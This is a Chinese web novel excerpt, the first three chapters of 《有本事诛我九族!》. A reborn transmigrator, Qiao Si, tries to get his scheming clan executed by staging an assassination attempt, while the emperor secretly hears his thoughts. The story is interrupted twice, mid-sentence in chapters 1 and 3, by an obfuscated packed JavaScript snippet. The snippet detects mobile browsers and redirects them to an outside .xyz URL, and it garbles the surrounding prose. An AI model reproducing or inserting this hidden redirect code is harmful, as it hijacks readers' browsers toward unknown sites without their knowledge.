《有本事诛我九族!》 1. 第一章 文/醉狸贪月 好疼。 尖铁刺入咽喉的那一瞬间,一切疼痛都被数以万计地放大。 乔肆视线猛地一黑,几乎疼晕过去。 濒死前的时间不过短短一刹,痛苦却被无限拉长。 他在狱中蹉跎着迅速流逝的时间都变得极为缓慢。 慢到他能清晰地感受到喉管注入自己的血,窒息与刺痛同时席卷而来。 穿越后短短几年的记忆都在眼前慢条斯理地翻滚起来。 乔肆穿书了,穿的是一本极为冷门的朝堂文,阴差阳错被一个书中戏份极少的世家收留,成了乔家最小的儿子。 作为一个眼神清澈的大学生,他对乔家上下都毫无防备之心,暴露了自己预知剧情的事。乔家对他百般套话,他知无不言言无不尽。 乔肆提供的剧透让乔家在京城站稳了脚跟,让原著中原本的大反派倒台,却也害得他自己成了一枚用完就扔的棋子。 很快,乔家见他再也提供不了更多的价值,便将他当做弃子扔进了皇宫,变相软禁,成为皇帝牵制乔家的人质。 乔家骗了他,可惜他醒悟得太迟,没过两年,就被乔家害得入狱惨死。 再睁眼时,乔肆重生了。 他发现自己回到了乔家。 老天竟给了他第二次机会,让他可以亲自挽回一切。 第二次重生,乔肆多留了个心眼,发现了乔家的真面目,也发现了自己被诓骗利用的事实。 他企图告发乔家,反抗、也是复仇。 然而他还是没能斗过乔家,乔肆再次落得同样的下场,惨死狱中。 然后是第三次重生。 第四次…… …… 第八次重生,他仍然没有成功摆脱惨死狱中的结局。 乔肆望着牢狱冰冷的墙壁,深知他只要活着一天,就能被乔家压榨一天的剩余价值。 他不想再死得窝窝囊囊,用腐肉为乔家添砖加瓦。 他宁可早些死去,也不肯再让乔家称心如意。 于是,乔肆耐心等了几日,终于想办法偷偷藏下了几片锈迹斑斑的碎铁片。 失策了,前几次都是被毒死的,没想到这次会这么痛。 比喝鸩酒毒死痛多了。 “痛……” 乔肆没有注意到,自己不知觉间竟说出了声。 身旁似乎有人关切地问他:“哎哟,乔公子这是哪儿疼?” “喉咙……”他没意识到自己已经开口说话了。 那人嗔怪:“这两日风雪天,陛下特免了朝臣宗室为先帝守灵之礼,您非要去灵堂前跪足了时辰,如今风寒上身,喉咙可不疼吗?” 乔肆恍然一怔,缓缓睁大了眼,认出了身旁这人的声音。 “季公公?” 季公公笑着应了一声。 乔肆却是呼吸一滞。 一直专门服侍皇帝的季公公怎么在这儿? 难道他没死成? 不对…… 乔肆抬起白皙修长的手,摸了摸自己的脖子。 喉咙沙沙的疼,像是着了火一般。 却又和不久前刺痛入脑的感觉截然不同。 很疼。却清晰地疼着。 他活了。 好好地活着,没有鞭痕,没有外伤,完好无损地重生了。 ——可竟然是重生到了这个时间节点?! 刚才季公公说了什么? “风寒?” 乔肆知道自己还会重生。 每一次,他重生的时间点都会延后一段时间,短则几天,最长三个月。 因此,留给他抗争的时间也越来越短,随着重生次数增加,他越发斗不过乔家。 他本已经做好了比上次时间更迟的准备。 可是为什么?! 为什么这次他睁眼,就已经是入宫的时候了? 相比上一次重生的时间点,整整晚了两年!! 才刚刚睁眼,他就已经走在进宫面圣的路上了! 思及此处,乔肆忍不住急喘了几口气,不住地呛咳起来。 季公公已经在催促:“您忍着点吧,陛下召见,传话的公公已经在外头等了大半个时辰了……” 眼前的一切在记忆中已经发生过一次,乔肆都记起来了。 三年前,先帝驾崩,举朝送葬,京城却迎来了可称天灾的风雪。 他一意孤行,非要给先帝守灵,最终染了风寒,一病不起。 偏生新帝凉薄,全然不顾这些,明知他病卧在床,还要因乔家之事召见他。 这是三年前的腊月下旬,风雪后的第一天。 他第九次重生了。 这一次,他重生回了景符初年。 一切已经无可转圜的一年。 此时,对他还有几分心慈手软的先帝刚刚驾崩,而新帝因为要对付乔家,对他已生猜忌。 他又被乔家舍弃,是最势单力薄、无力与任何势力抗衡的时间。 今日起,他就要被软禁宫中,能做的只有等死和寻死。 乔肆微微蹙眉。 话虽如此,但真让他就此认命,还是有些不甘心的。 至于新帝?他倒是从前几辈子就想效忠新帝,帮助殷少觉对付乔家,奈何新帝疑心病极重,连见面说话的机会都不给他! 都怪那狗皇帝,油盐不进! “前面就是了,乔公子在此稍等,奴才这就去通报陛下。” “好,多谢季公公。” …… 乔肆走进御书房,看清皇帝的脸时,第一反应是松了一口气。 太好了,继位的还是殷少觉,不是其他人。 乔肆曾经考虑过要不要干预夺嫡,除殷少觉外,三皇子、六皇子都曾经是先帝看重的儿子。 但是乔肆很讨厌他们,从未真的这样做过。 三皇子是个草包,当皇帝怕不是第一个卖国,六皇子贪得无厌和乔家是一党的,没当皇帝的时候已经在搜刮民脂民膏。 重生多次,不是没发生过重大剧情发生变化的蝴蝶效应,乔肆就曾做过这样的噩梦。 梦境之中,重生后夺嫡之争愈演愈烈,继位的皇帝成了别人,殷少觉反而成了闲散王爷,乔肆自己也得以苟且偷生。 可灾祸自此而起,苛捐杂税不止,党争林立,百姓民不聊生,不到一年便战火连天,国有倾颓之势。 只要登基的人不是殷少觉,便都会殊途同归,走向灭亡的结局。 梦境逼真,险些让乔肆混淆成真实的记忆,久久不能释怀,从此彻底绝了干预夺嫡的心思。 但是他也不喜欢殷少觉。 他确实更能接受殷少觉做皇帝,但是这不妨碍他看见这张脸就牙痒痒。 原因无他,主要是这个狗皇帝的行为模式太复杂多变,太难以预测了。 其他人的喜恶、行动都是有迹可循的,乔肆总能观察总结出其中规律,从而加以利用,或者调查出背后真相。 他向来记忆力很好,借着重生的经验,对朝中多人的脾性习惯都了若指掌。 唯独殷少觉是个例外。 不可预测,毫无规律可循,对重生了多次的乔肆来说,殷少觉是唯一的永恒变量,是不可控的随机数,是喜怒无常的不可名状。 他永远猜不透殷少觉在想什么,在计划什么,永远不知道明天被流放岭南的是张侍郎还是李公公,下一次在早朝上支持的言论是保守派还是激进派。 这都能用随心所欲解释。 但是为什么?? 为什么第三次重生的时候殷少觉还喜欢杜鹃花,第四次就铲除了整个皇宫的杜鹃花不准再种!!第五次重生他记得殷少觉对臣子进献的鱼赞不绝口,第六次就给那臣子扣上罪名,拉出去砍了!! 害得乔肆在皇宫里整整两年,能‘偶遇’皇帝说两句的次数都少得一只手数得过来! 这人有病吧! 喜怒无常也就算了,光是乔肆每次面圣,都是在不同的地点,第一次御花园,第二次少清宫,第三次甚至是寝殿,第四次甚至去了观星台,而这次…… 【怎么是御书房?】 【正常成这样,这狗皇帝吃错药了?】 “微臣乔肆,恭请陛下圣安。” 乔肆表面恭敬地进屋面圣,下跪问安,心中却疑窦丛生,一整个ptsd大爆发。 “……” 桌案之后,身着织金龙纹常服的皇帝却一言不发,沉默地在宣纸上完成最后一笔,才不紧不慢抬眼看去。 诡异的静谧中,无人瞧见皇帝眼底的莫测神情,更无人发现他倏然落下了不和谐的一笔,毁了那副丹青原有的美感。 ……狗皇帝? 何人在御前放肆? 殷少觉分明听到了大不敬的话语,那嗓音却像是错觉一般,没有在这御书房里激起丁点波澜。 放在往日,无需他说话表态,公公便会先一步教训出言不逊的人,今日却好像只有他听见了这声音。 跪在书案前不远处的少年低着头,半天没听到动静,疑惑地抬头看了过去。 殷少觉这才不急不慌地开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234872|181833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' , “免礼平身。” 【莫名其妙。】 乔肆眼观鼻鼻观心,只当这突然沉默的十多秒也是皇帝的发病基操,嘴上依旧恭恭敬敬。 “谢陛下。” 奇怪的声音再次响起,殷少觉终于确认,那是乔肆的声线,声音从乔肆的身上发出,其他人却毫无反应,仿佛只有他出现了幻听。 殷少觉恍若未闻。 “听闻乔卿家中藏书颇多……”他随意看向了一旁的书架,吩咐道,“去挑一本吧。” “微臣……多谢陛下赐书。” 乔肆似乎愣了一下,面露茫然,慢吞吞地走向距离最近的一个书架,看似认真地看了看上面的书,然后拿下了一本。 【啊?一见面就赐礼物?更有病了耶……】 【谁乱传的谣言,我哪里喜欢藏书了,小爷喜欢的分明是有趣的话本。】 【哼……算了,随便拿一个……就它吧,国家地理。】 【啊不,是《九州山河考略》,要是有插图看就更好了……】 殷少觉抬眼,看向乔肆手中,看清了上面的书名。 正是《九州山河考略》。 书名一致,古怪是来自乔肆。 事情虽怪,但落在一枚棋子身上,坏不了什么大事。 殷少觉不再试探,平淡地随口又说了几句,告知乔肆进入翰林院需注意之事。 乔肆也配合着点头称是,回复些无关痛痒的话。 在他人眼中,这似乎是君臣相宜的一幕,气氛融洽,很是令人舒心。 站在一旁陪侍的季公公却不忍多看,在心中叹了口气。 君心难测,谁又想得到在朝中势力正如日中天、赏赐不断的乔家,实际上早就失去了圣心,早就被皇帝忌惮已久。 早在领乔肆来面圣之前,季平安就被交代了宣读圣旨的事。 圣旨的内容,便是要将乔肆软禁宫中,非允不得外出,不得见人。 三言两语用不了多少时间,很快,殷少觉便在谈话间重新完成了一副丹青之作,与刚才那幅的区别只是最后一笔没再失误。 “平安。” 他审视面前只差落款的丹青,正打算出声让季公公带乔肆下去,那奇怪的心声却再次响起。 【哎……好烦。】 【一想到马上就要被软禁了就好想骂街。】 【早知道就拜师学轻功了,不像现在,好想逃都逃不掉。】 “……!” 殷少觉倏然抬头。 啪嗒。 一个巨大的墨点子落在宣纸上,缓缓晕染开来,将完美的笔锋糊成一团。 重写的字又被毁了,殷少觉却无暇顾及。 他的目光正落在摆放在桌案一旁,那里正躺着一卷明黄色的卷轴,是他早早撰写好的圣旨。 “奴才在。” 季平安躬身应声,以为皇上要催他宣读圣旨,试探着上前,“陛下可是要提前……” 殷少觉看了一下即将颁布的圣旨,忽然抬手,直接将其扔进了一旁的暖炉之中。 “处理了。” 暖炉内热气融融,点点鲜红火星沾了上去,将明黄的布料灼出一个洞,很快便引燃出一簇明晃晃的火苗。 御书房中一片死寂,连火焰灼烧时的细弱声响都仿佛被放大了几倍,清晰传入所有人的耳中,听得乔肆眼皮一跳。 乔肆一眼就认出了那道圣旨。 这样的发展,在前面的八次重生里从未有过,他死死盯着那火苗,一眨不眨地看着曾数次困住自己余生的圣旨就这样轻飘飘地被烧了。 烈火映在乔肆的黑眸中跳动,他下意识睁大了双眼,心跳也随之加快,在喉咙处咚咚作响,手指也轻微动了一下,像是在紧张地等待着应对些什么。 但直到火焰包裹住整个卷轴,连同里面的字迹一起化作飞灰,也什么都没发生。 殷少觉低头,审视着自己又被毁了的字,和前一幅一起丢进了暖炉,自己拿出一张新的宣纸重写。 季公公也早该做点什么,但饶是伴君多年的他,也是慢了半拍,被圣上第二次丢东西的动作一惊,这才赶忙端起那暖炉,走出门外更换木炭。 屋内只剩下他们两人,乔肆憋不住了,不怕死地开口询问, “斗胆问一声,陛下今日叫臣过来,究竟是为了……?” “无事。” 殷少觉面不改色丢出一句,便不再说话,也不允人退下。 被完全冷处理了的乔肆: “……” “???” 2. 第二章 文/醉狸贪月 【为什么?!】 【可是,说烧就烧了??啊???】 【不是……?虽然……凭什么啊!!!】 杂乱的心声密密麻麻的冒出,很是吵闹了一小会儿。 直到屋内的焚烧气味散去,乔肆的头脑仍然一片混乱,沉浸在又怒又懵逼还夹杂着些不敢置信的惊喜中,半晌没回过神来。 御书房内,香炉白烟袅袅。 乔肆捧着本书原地罚站,阵阵忐忑的心绪后,心里犯起了嘀咕。 他盯着那张眉眼深邃、浑身气质冷肃的皇帝,明明是自由身失而复得,心中的欣喜却不多。 【不对劲。】 失败太多次的乔肆不敢急着在心中庆贺,反而警惕了起来。 【狗皇帝能有这么好心?】 【恐怕是后面还有更大的等着我呢!】 遇事不决骂皇帝,早已是乔肆活了几辈子养成的习惯,完全不觉得哪里不对。 桌案后,殷少觉终于写完了字,抿了一口放在一旁的茶水,忽然微微皱眉看了眼茶水,然后嗒的一声将杯子放了回去。 他的眼神轻飘飘瞥向一旁候着的季平安,公公恍然惊醒似的,不需他开口说任何话,就连忙接过杯子,“哎哟瞧奴才这记性,怎么连茶水冷了都不知道换。” 季公公一边主动请罪,一边打了自己一巴掌,并动作麻利的将茶水重新在炉子上暖起来。 “行了。” 殷少觉摆摆手,“别吵。” 季公公这才嘿嘿一笑,明白这是皇帝不追究自己了,擦了擦额上的冷汗站了回去。 不过,吵? 季公公心中困惑,他前前后后就说了三五句话,真的很吵闹吗? 恰在此时,御书房外有人前来通报。 “陛下,吏部侍郎刘疏前来求见。” 殷少觉正品着杯中热茶,并不急于传人进来,只是垂着眼眸,随意问道,“刘侍郎……他有何事?” “回陛下,说是最近新得了一把精巧的扇子,上有王公的墨宝,前来献给陛下。” 【刘疏?是那个短命的刘疏?】 【他的结局是……御前行刺……满门抄斩……】 乔肆心中震撼着,没想到这天会来得这么快,刹那间,前几世关于刘疏死亡的记忆涌现出来。 很多次,他都因自身难保的境况,哪怕知道刘疏是个好官,清官,也来不及阻止悲剧的发生。 殷少觉晾干了宣纸,喝完了茶,终于缓缓抬起头,重新看向站在屋中央的乔肆。 乔肆知道得太多了,任何一条拿出来,都不是一个头脑简单、只知享乐的娇气纨绔该知道的事。 甚至……事关未发生之事,不该是一个凡人该知晓的。 乔肆怎么看都是个寻常少年,不像是寻仙修道之人,不知为何会有这样的本领。 这样的人留着,很可能会成为一大隐患。 他的目光淡然地落在人脸上,深黑的眼瞳深处无悲无喜,仿佛仅仅在打量着一个物件、一个死人,却比带着恨意、厌恶的眼神更加冰冷慑人。 即便不懂,乔肆被那视线一触,也下意识脊背发凉。 【干、干嘛这样看我?我脸上又没圣旨!】 可他仅仅是怔愣了一瞬,便又恢复如常,无论是面上还是心声里,都没有任何被吓坏的迹象,甚至有心情开玩笑。 ——正如方才喜从天降时,他也不曾欣喜若狂,感恩戴德。 只是片息间,殷少觉不知想到了什么,始终淡漠的眼底终于起了丁点儿变化,罕见地多了两分兴味。 “好。” 他开口,“让刘侍郎在御花园等着,朕稍后过去。” 【嗯?为什么是御花园?】 乔肆一脸懵,就看皇帝忽然起身,又对他吩咐了一句,“乔卿便与朕一同前去。” 他愣了愣,低头行礼, “……是。” 话音刚落,殷少觉便从乔肆身侧走过,离开了御书房。 皇帝去更衣了,乔肆也离开御书房,在小太监的带领下慢步朝着御花园走去。 走着走着,乔肆开始提前思虑如何阻止刘疏行刺,避免其被治罪死全家的结局。 他不是没有成功过。 只要刘疏不死,半月后的春闱中,便会有几个贫苦的学子被刘疏救下,成为栋梁之材。 若是死了,这些人便没了希望,刘疏的家人还会被连累,当真是个大大的惨剧。 株连九族…… 对啊!! 乔肆猛地脚步一顿,灵光乍现,醍醐灌顶,猛地锤了下自己的手掌心。 是啊!他怎么没想到可以这样干呢?! 如果今日行刺后被治罪的人不是刘疏,而是他乔肆该多好啊!! 反正他已经认清了,自己根本不是什么政斗的料子!什么心眼子啊城府啊脑子啊,天生没有的长大后也长不出来! 就算他如今恢复了自由身,真正留给他的时间也不到一年半。 每一次,皇帝都会察觉到乔家的反心,然后将他这个人质找个由头下天牢。 一年半还是往多了说的,因为蝴蝶效应之类的变化,还可能一年后就把他给关了。 下一次重生,他又会从哪一个时间节点醒来?再次醒来时,殷少觉还会不会一时兴起,烧了要软禁他的那一道圣旨? 所以啊。 与其在有限的时间内宫斗,不如直接鱼死网破! 不就是死吗? 大不了一起死啊! 天呐!那可是乔家的九族啊!那得是多热闹的大场面!!他就算变成武林高手一个个去暗杀都要杀三天三夜呢! 只要他今天勇敢行刺,皇帝就会一怒之下斩了他全家! 天呐,世界上怎么会有这么好的事! 【哈哈哈哈哈哈哈!!!】 想到这里,乔肆顿时喜不自胜,畅想着能害死所有仇人的美好未来,几乎要失去表情管理。 【我可真是个天才!】 【哈哈哈哈哈哈!!!】 笑着笑着,乔肆脚步一顿。 到了。 他脸上粲然一笑。 【狗皇帝,你祖宗来啦!】 冬末春初,乍暖还寒之际,御花园中已结了许多梅花的骨朵,些许不畏严寒的枝丫也钻出了幼苗,成了一片好风景。 登基不久但已威压不减先帝的殷少觉坐于凉亭之内,身着秀金云纹的素色常服,肩披白绒镶边的墨色鹤氅,在假山流水、林木花鸟的相映环绕中显得格外悠闲。 在他的对面,坐着身着官服的吏部侍郎刘疏,他正从怀中拿出一把精致的折扇,低声讲述着扇子的来历。 皇帝低头饮着热茶,脸上并无喜怒,看不出对这扇子的兴趣有多大,又像是极有耐心。 君臣二人相对而坐,赏画品茗,仿若是一副平静和乐的画面。 乔肆却一眼看到刘疏忽然站起身来,手中展开了那把有着金属扇骨的折扇。 用来袭君的利器就藏在那折扇的扇骨之中! 【放着我来!】 乔肆万分紧张地一个箭步冲了过去,连面圣的礼仪都丝毫顾不得,直接朝着前方的刘疏扑了过去。 刘疏本已经要出手,却突然听到动静,看到猛然扑过来的人影,心下一慌,下意识要把人推开,将东西藏在身后。 “你……!” “别动!!” 乔肆猛地跳起,却因为太过慌乱,脚下一个趔趄,哇的一声向前摔倒,将刘疏也带得重心不稳了,两人一起朝着旁边滚落在地。 一时间现场极为混乱,堪比小孩子抢玩具现场,心声也瞬间混乱起来,含帝量极高。 【别耽误我行刺狗皇帝!】 【啊啊啊我的脚!都怪狗皇帝非要看什么破扇子疼疼疼!】 【虽然你也想行刺,但你打得过狗皇帝吗你就跟我抢!】 【这不是便宜那瘸腿王爷了吗!!】 瘸腿王爷。 当朝晋王便是早年间伤了腿,落下不良于行的毛病,到了乔肆口中竟就这样粗俗的称之为瘸腿王爷了。 殷少觉耳尖微动,多看了乔肆一眼。 刘疏此事的幕后之人会是晋王,他并不意外,毕竟与乔家利益冲突最大、争权夺势最厉害的一方便是以晋王为首的那一股王亲贵族。 晋王 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面对可怕的、喜怒无常的、不可名状的暴君,他本来是很打怵的,毕竟被他软禁了好几世,回回都是被暴君一句话就定了生死。 但也正是因此,想到前几世自己如何谨小慎微的拼命求生,如何磨尖了脑袋想在皇帝面前打出不一样的剧情发展,又如何看着一个个原本无辜的人死于朝堂政斗,乔肆又理直气壮了起来。 演技会漏洞百出,但由衷的怨愤不甘不会骗人。 他咬着牙,心跳快到要飞出嗓子眼,第一次坚持着直视殷少觉的双眸没有闪躲,将大不了鱼死网破的坚决表现了个十成十, 【混蛋暴君!!】 【老子就是行刺了怎么着吧!】 见到这一幕,刘疏只知道自己计划败露了,也整个人瞬间脱力,面如死灰地放弃挣扎,瘫坐在了原地。 殷少觉的面上并无意外之色。 甚至,就连他一直贴身带着的太监季平安都被提前吩咐过了,此刻不在身侧陪侍。 小小的凉亭里,只有君臣三人,御花园中也不见平日里修建维护花草的宫人。 若是这两个妄图行刺之人死了,除了皇帝本人,也不会有任何人知道今日发生了什么。 自从殷少觉坐上这个龙椅,看不惯他的,想把他拽下来的,想杀他的人,太多太多了。 多一个乔肆不多,少一个乔肆不少。 少年骄纵,是乔家养大的,背后有京城世家撑腰,他不意外乔肆能有这种胆量和厌恨。 皇帝的眼底也并非没有杀意,冰冷,又太过平静。 可乔肆却依然看不透他。 看不透他为何迟迟不下令,像当初处死刘疏一样处死自己,为何只是用这种眼神凝视着自己,仿佛他是什么不自量力的小丑。 可恶。 乔肆更生气了。 【我明明……】 他试着重新站起身来‘补刀’,却感觉眼前一花。 低头一看,自己的手掌心竟不知何时被划了个口子。 【完了完了……这玩意儿有毒的!】 【啊不对,也、也不会完,这毒不致死,就是折腾人很久……】 【该死的晋老三……】 殷少觉瞬间了然。 饶了这么大一圈,原来晋王的真正手段用在了这里。 他倒要看看晋王又要端上什么惊喜。 若是就这么让乔肆和刘疏死在今日,倒是可惜了皇弟的一番苦心筹谋。 皇帝轻轻一摆手,早已在御花园四周藏匿已久的暗卫们便得了指令,得知计划有变,无声撤离。 “平安。” 话语落地,季公公便凭借极佳的听力出现,从御花园的不远处快步小跑过来, “陛下。” “传令下去,乔爱卿护驾有功、忠心可鉴,特赏白银千两,上好翡翠珠玉百件,封御前待诏,赐临华殿暂居伴驾。” “?!!” 乔肆天塌了。 3. 第三章(修) 与乔肆预料中的完全相反,殷少觉没有治他的罪,反而大大奖赏了一番。 “宣读圣旨的时候,顺便也去乔家一趟,让乔尚书也高兴一下。” “是!” 季平安退下了。 乔肆完全不理解为什么事情会是这样的发展,整个人如遭雷击,怔愣在原地。 【什么??!!】 【疯了吗?!】 他连领旨谢恩都忘了,只是目瞪口呆地望着突然龙心大悦的皇帝,完全不能理解自己辛辛苦苦抢刀片、丢暗器行刺,怎么就变成了护驾有功?! 【等等,刚才我确实是先阻止的刘疏,抢夺了暗器,虽然看起来表面说得过去,但是这也太离谱了吧?!?!】 【就因为我出招的时候没有大喊接我一刀吗?!可这样大喊很蠢啊!!】 【神经病啊!】 【老子要杀你诶!取你性命诶!!你在封赏什么鬼啊?!?!】 乔肆表面上有多震惊到说不出话,脑海里的心声就有多震天响,除了种种难以置信的话语外,就只剩下夹杂其中的各种骂骂咧咧。 殷少觉就当没听见,扮演着宽厚的明君,甚至嘴角演出来的弧度都没变。 他眼底一片晦暗,居高临下欣赏着乔肆那五彩纷呈的震惊,甚至在乔肆终于毒发,快要站不稳的瞬间一把攥住了他的手臂,语气和缓,动作却丝毫不温柔地将那只流血的手拽到面前观察, “还有,急诏汪太医回宫,他若是不肯来,就说是朕伤了。” “至于刘卿。” 殷少觉又将目光投向了已经面如死灰,仿佛人已经走了一会儿的刘疏,语气故意地停顿了片息,等人回神。 乔肆却先急了,上前一步, “陛下!那扇子其实——” 【他是被坏蛋威胁的啊!!】 刘疏起身,沉默地朝着皇帝跪下,弯腰磕了一个头,“罪臣……在。” “先押送天牢吧,等朕什么时候有空了,再亲自审问他。” “……谢陛下。” 这个结果,对刘疏而言并不意外。 他似乎已经认命了,一句辩驳之话都没说,任由侍卫将自己押走。 【有眼无珠!赏罚不分狗皇帝!】 见到此状,乔肆在心里骂骂咧咧。 殷少觉深深看了乔肆一眼,摆驾离开,徒留乔肆在原地,越想越气血上涌,干脆坐在了地上。 什么封赏,什么钱财,他根本不在乎。 软禁了他几辈子的殷少觉,怎么可能突然转了性,突然就看他顺眼了? 皇帝不喜欢他,乔肆大概是知道为什么的,就因为他姓乔。 但为什么今天就封赏了?他不明白,也懒得想。 总归只是些封赏而已。 乔家也喜欢搞这些大张旗鼓的东西炫富,表面上是宠爱他,给他钱,给他院落仆人,实际上没有什么好处是真的落在他手里的。 金银不是他随便能取用的,院子也只有一间房是他的,仆人也是监视他的眼线。 他一开始不明白,现在可是都明白。 皇帝给的赏赐恐怕也一样。 临华殿可能也是软禁的另一种说辞。 往好了想,说不定他并没有距离诛九族越来越远呢? 乔肆正神游着,思考下一次要怎么努力犯大罪被诛九族,就听到了脚步声。 几个小太监跑了过来,把他抬了起来放在担架,送出了御花园。 因为没准备轿子,一路颠簸的很,乔肆感觉自己没事儿都要被颠晕了,连连摆手想让人慢点,都没人理他。 但小太监们脚力好,乔肆顺了气能说话时,人已经到地方了。 抬头一眼,竟然不是太医院。 而是方才提到过的临华殿。 再一看,皇帝竟然也等在里面。 一看就是舒舒服服坐轿子抄近路到的。 临华殿在这之前是空置的偏殿,距离御花园、御书房都很近,此刻匆忙打扫出来,干净了不少,却依然不减荒废破败之感。 没有什么活人气息,还有些缺乏光照,远远望过去,大门之内阴森森静悄悄的,一袭深色龙袍的皇帝站在内里,一双眼却在阴影中看得分明。 乔肆:“?” 不对劲。 这是临华殿吗? 这该不会给他送阎罗殿了吧。 他立刻坐起来了,慌忙道,“我、我突然感觉身体很舒服了……” 小太监们却不顾他的挣扎,依然执意将他送进去,安顿在里面的软榻上。 殷少觉依然没有离开,而是坐在了不远处的紫檀木椅上,低声吩咐道, “王太医,你先来为乔卿施针,别让人昏过去了。” 汪太医上了年纪,还要一会儿才赶到,此刻给乔肆把脉的是王太医,汪太医的徒弟,更年轻,头发还没有白的。 他领了旨,便一言不发从药匣子中拿出了几根银针,弯腰凑近榻前,掀开乔肆的衣服。 虽然王太医脸上没有表情,但乔肆依然幻视了狞笑靠近的容嬷嬷。 他一个机灵就坐起来了,仿若回光返照,“我觉得我好多了!我没事了!” 【救命啊!】 【谁知道这个银针是来治病的还是点我死穴的!!】 【啊啊啊狗皇帝该不会刚才隐而不发是为了现在偷偷让我死于‘意外’吧?!】 【拒绝私刑!拒绝黑暗手段!】 “别乱动!” 王太医按住他的肩膀,强行将人按回软榻上,“别意气用事!” 乔肆感觉自己要晕针了,欲哭无泪道,“我真没事啊!你看!我只是破了个很小很小的伤口,你要是再来晚一点,它就愈合了!” “血的颜色不对劲,唇色也发紫,脉搏虚弱,乔大人,您分明是中毒了!怎么能是没事呢?” 王太医只当他是讳疾忌医,不认可地摇摇头,直接叫了小太监过来把人按住,直接施针, “若是不及时医治,你可能会陷入昏睡,甚至高烧不退的。” “我不会!” 乔肆继续挣扎。 王太医只当他是胆子小,劝慰道, “陛下还在一旁看着呢,还请乔大人不要让臣为难了。” 陛下? 这么一提,乔肆就看向了殷少觉。 紫檀木椅之上,依然穿着那身素色常服的皇帝端坐其上,似乎对于现场发生了什么并不在意。 那双冰冷的眼眸在室内昏暗的光线中更加幽深了,缓缓抬头朝着他投来视线时,仿若连同周围的空气都跟着凝滞了,那眼神绝对算不上关怀,反而让乔肆平白生出被什么东西盯上的战栗。 那根本不是在意病人的眼神。 那是揣摩、观赏,是确保没有人胆敢反抗的监视。 乔肆:“……” 【呜呜呜!!!】 【可怕的暴君!居然还亲自监视我确保我经历非人的折磨!】 【他该不会是看我不爽又没有证据,想暗戳戳上刑折磨我吧!】 殷少觉:“……” 倒是个不错的好主意,以后可以参考。 乔肆的心声很吵。 但吵归吵,却也让殷少觉确认了一件事。 所谓的行刺,只是少年不知死活的冲动之举。 和刘疏的视死如归不同,乔肆这样娇生惯养、从未吃过苦的纨绔子弟,贪生怕死的性子,即使什么都没做,就能将其吓破胆。 至于乔肆对他恨之入骨,想要杀他的理由,殷少觉并不急着知道。 “我真的不会死的!真的!我发誓!我的身体我知道!” 乔肆恨不得破口大骂,又不敢真的骂出声,怕真的被上刑。 【救命啊!!】 【王嬷嬷求求你了别扎我了我招、我招还不行吗?!】 【啊啊啊狗皇帝!】 【我该怎么告诉他们这个毒根本不会害死人就是代谢慢啊!】 【本来就是那殷老三用来操控属下的坏东西!别白费力气折腾我了啊!!除了他那装成世外高人的骗子门客没人能解毒的啊!呜呜呜——】 【啊啊啊大骗子都怪你都怪你狗晋王去死去死吧呜呜呜……】 殷少觉:“……” 呵。 怎么看、怎么听,乔肆都是个初出茅庐、行事冲动不过脑子的年轻人。 皇帝连自己都未察觉地松了口气,心底生出一股荒谬感。 他方才竟有过完全相反的错觉,怀疑过乔肆是否与其他乔家人不同,是不畏生死、心无杂念的死士。 皇帝并不真的在意一个乔家人的死活,哪怕他身有奇异。 他从一开始便在御花园安排了不少暗卫,其中也有弓箭手。 原本无论刘疏,还是乔肆,都该死在那凉亭之中。 如此,乔家便会为了这心尖上的小儿子彻查到底,替他揪出刘疏背后的人,双方争斗个你死我活。 只是这些布置都没派上用场,他便找到了比坐山观虎斗更有趣的事,便暂时改了主意。 接下来很长一段时间,他还需要乔肆好好活着,若此子存了死士般的心念,反而不便利用。 还好,乔肆确实胆子小。 笨一点,才好把控,品行恶劣一些,才方便利用,贪生怕死、胆小软弱,才便于掌控。 “呜呜我求你了!再扎下去我真成筛子了!” 乔肆抗拒得这样厉害,王太医也有些汗流浃背,忍不住回头确认一下皇帝的脸色。 没想到,平日里耐心极少的皇帝竟然罕见的没有生气,也没有指责乔肆的没规矩,只是静静地、甚至看起来心情不错地在一旁看着。 看着看着,还站起来在乔肆不远不近的地方踱步,像是非常关心这位臣子的安危。 随着殷少觉的步伐挪动,那因为害怕针灸抗拒治疗而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234874|181833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吵闹的心声,也在他的耳边不断响起。 很快,殷少觉就正式确定了一个范围。 能清晰听到乔肆心声的范围。 以乔肆为中心,方圆十步的距离之内,无论乔肆是情绪高昂还是虚弱啜泣,心声的内容都清晰可闻。 但只要他向后再退一步,拉开距离,大部分的心声便会无法听清了,只有偶尔几声格外情绪激烈的喊叫或嚎哭,才能被听到。 就像是他在御花园中听到的狂笑声一样。 但若是再后退三步,即将离开这件屋子的范围,那么无论乔肆看起来多么的情绪激烈,他都不会听到一丁点响声。 确认了具体范围后,殷少觉便又坐了回去。 王太医不知皇帝心中所想,再次看向一旁两腿乱蹬、毫无礼数不成体统吵闹不已的乔肆,微微晃了神,只当乔肆这是得了圣心,竟引得皇帝如此心焦,担忧到都坐不住了,才会这样来回踱步。 谁也不知道皇帝究竟会喜欢什么样的臣子,不入眼的,怎么揣摩圣意、讨好陛下都没用,入得了圣眼的,哪怕如乔大人这般没有规矩,也能博得圣心大悦。 